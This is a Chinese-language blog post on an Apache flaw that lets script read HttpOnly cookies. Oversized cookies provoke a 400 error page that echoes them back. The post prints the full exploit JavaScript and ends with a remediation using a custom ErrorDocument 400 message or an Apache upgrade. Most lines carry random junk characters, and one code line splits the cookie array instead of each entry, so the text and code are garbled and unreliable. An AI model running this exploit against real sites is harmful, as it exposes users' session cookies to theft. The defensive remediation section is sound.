Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:

3 P0 y: `7 |, r# @3 O, M
8 S6 k6 [7 U4 `% Z* ?) I// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
+ Y/ P: b* p% L0 g, J  ^0 s/ N// Construct string for cookie value
$ A: W8 v! ?1 E$ L4 ]var str = "";
for (var i=0; i< 819; i++) {
% j4 d# s- w$ E8 Q( Cstr += "x";
}
6 x8 Z+ ?- R5 G% \) b// Set cookies
0 |: t  N3 y: R4 Y, t' `, Qfor (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
' k( S/ L: Q& y. P8 J$ K) Qvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
+ r! e# _. s/ ]; z# E// Set evil cookie
else {
- j) M3 ?9 k2 o8 \0 U/ G, Tvar cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
! a* t% v. R$ {- d}
}
function makeRequest() {
setCookies();
9 ^8 `- m" @' z- q/ H% k+ ^function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
9 q1 |) ~6 A  ]; Yvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
& R) s, E5 N# h; F$ `2 Z  P5 d* x// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
, ^3 Y8 K) I1 U+ O. r4 K2 h  \, N; qvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
$ b) L3 `0 U$ `* ifor (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
1 M8 F3 _7 h( {; Wcookie_dict[s_c[0]] = s_c[1];
  n/ ^& M) n- c" V6 w# A}
}
& _: d; p: d$ ]9 J1 O// Unset malicious cookies
) _2 ?: [3 j6 y- f8 J2 ksetCookies(true);
9 E) b$ Q* Q# s/ @' o* Zalert(JSON.stringify(cookie_dict));
; [) @4 a4 u. a* ?6 g8 x}
. j, ~& u# r, o( C0 F}
// Make XHR request
) O6 o0 D$ [  @" `var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
& F9 u' L# L$ g+ mxhr.send(null);
}
3 \6 i. j( r# o" e& ]9 GmakeRequest();
8 P- `4 W0 `4 a
你就能看见华丽丽的400错误包含着cookie信息。
3 R* h# a' P7 Z
: x* n+ p" ~& i% b! L" D8 Q下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
$ S* N9 {4 Y% ]# J6 B
  d6 @2 }* M. k9 G4 F修复方案：

% I! l- D& h2 y) A4 iApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,

1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
* d$ P7 [3 r: D  R- t- D+ P
+ n: h# E! p( |( r  R4 Q- ?  _Apache配置：

$ V3 P8 G& j, @) P* KErrorDocument400 " security test"

7 \; |  G+ q, r当然，升级apache到最新也可：）。
* T3 V) F8 L  C7 q9 h
  K5 A* u: y6 q: z2 z+ A( @参考：http://httpd.apache.org/security/vulnerabilities_22.html

: c" j% w0 ]6 d" H